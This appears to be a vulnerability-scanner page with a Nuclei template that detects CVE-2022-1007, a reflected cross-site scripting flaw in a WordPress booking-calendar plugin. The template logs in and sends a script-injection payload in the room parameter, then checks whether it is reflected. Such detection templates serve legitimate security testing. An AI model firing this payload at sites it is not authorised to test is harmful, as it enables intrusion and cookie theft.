WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting

ID: CVE-2022-1007

Severity: medium

Author: 8arthur

Tags: cve,cve2022,wp-plugin,advanced-booking-calendar,wp,authenticated,wpscan,wordpress,xss,elbtide

Description

WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2022-1007

info:
  name: WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: |
    WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the user.
  remediation: |
    Update to WordPress Advanced Booking Calendar plugin version 1.7.1 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358
    - https://wordpress.org/plugins/advanced-booking-calendar/
    - https://nvd.nist.gov/vuln/detail/cve-2022-1007
    - https://plugins.trac.wordpress.org/changeset/2695427
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1007
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:elbtide:advanced_booking_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: elbtide
    product: advanced_booking_calendar
    framework: wordpress
  tags: cve,cve2022,wp-plugin,advanced-booking-calendar,wp,authenticated,wpscan,wordpress,xss,elbtide

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, '<script>alert(document.domain)</script>')"
          - "contains(body_2, 'advanced-booking-calendar')"
          - "contains(header_2, 'text/html')"
          - "status_code_2 == 200"
        condition: and
# digest: 490a0046304402207b60894904ca3fe80017c0fd15cbb5c9142b86a19341e36c6016754ec101a80202200144b8919cd68ed73d135adc072083a7ce204ffda5d40e3892b49b8df1a104d4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1007.yaml"

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